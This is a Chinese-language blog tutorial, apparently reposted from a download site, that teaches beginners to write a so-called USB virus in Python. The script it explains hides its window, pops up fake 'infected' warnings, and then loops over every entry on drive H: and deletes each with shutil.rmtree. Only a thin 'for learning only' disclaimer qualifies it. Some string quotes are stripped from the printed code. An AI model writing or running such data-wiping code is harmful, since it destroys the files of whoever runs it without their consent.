如何在Python-USB病毒文章中编写病毒
生命短暂,我使用Python!
大家好!我是马克,姓马名科的中国人。
最近,一个朋友再次问马克:“马克,您能写病毒吗?”听完后我大吃一惊,问他:“你为什么写病毒?”
“哦,没什么,我只想尝试一下”
“喝酒,很简单!”
是的,这很简单。
因此,今天Mark将与您分享如何通过Python编写病毒
(请注意,今天共享的病毒将删除文件,请谨慎使用,此处共享仅用于学习和交流)
一、环境设置
该程序是用Python编写的,不认识Python的朋友可以参考此博客
门户!
我自己的环境是Windows10、64位,pycharm,Python 3. 7
二、代码!

接下来,您可以开始编写代码! (本文不需要任何Python基础)
首先,上传代码:
import os
import tkinter.messagebox
import shutil
在这里很容易理解,导入一些模块。
那么,基础为零的朋友会问,什么是模块?
模块等同于文具盒
为什么这是一个隐喻?
这很简单。编写代码和编写程序就像完成作业一样?那么,您需要完成什么功课?
是的,您需要一个笔记本和笔。
现在我们有了编辑器,我们有笔记本吗?那支笔去哪了?
顺便说一下,笔在笔盒中,而模块在笔盒中。模块中的方法和属性等效于橡皮,尺子,铅笔,笔盒中的笔...
所以,如果我们想在里面使用笔,我们必须拿出这个文具盒,明白吗?
下一步,继续编码!

root = tkinter.Tk()
root.withdraw()
此功能是消除tkinter模块运行时出现的主窗口。
其中
root = tkinter.Tk()
是定义变量的名称,
可以更好地理解变量名的定义,并且可以将其大致理解为
为更短更清晰的名称起一个新的名字
下一行
root.withdraw()
tkinter模块中的一种方法用于消除主窗口,即
从文具盒中拿出一支笔并使用它
接下来,是下一段代码:
tkinter.messagebox.showerror(错误, 电脑被病毒感染!)
tkinter.messagebox.showwarning(警告, H盘文件已被删除!)

此代码还调用tkinter模块中的函数,它的运行方式如下:

然后,看下一段代码
filepath = os.listdir(H:\\)
这行代码调用os模块读取H盘中的所有文件
res = len(filepath)
此行,获取H盘中的文件数
while res != 0:
res -= 1
sen = H:/ + str(filepath[res])
shutil.rmtree(sen)
这是一个while语句,它是一个循环语句,这意味着当res变量不等于零时,一次又一次地执行以下代码,直到res等于零。
在此循环语句中,sen变量存储H磁盘下所有文件的绝对路径。
最后一行,通过shutil模块中的rmtree方法,删除sen目录中的所有文件
好吧,最后发布一张整体图片

接下来是跑步效果图
5. 1.病毒运行演示
本文来自本站,转载请注明本文网址:
http://www.pc-fly.com/a/shouji/article-374069-1.html
……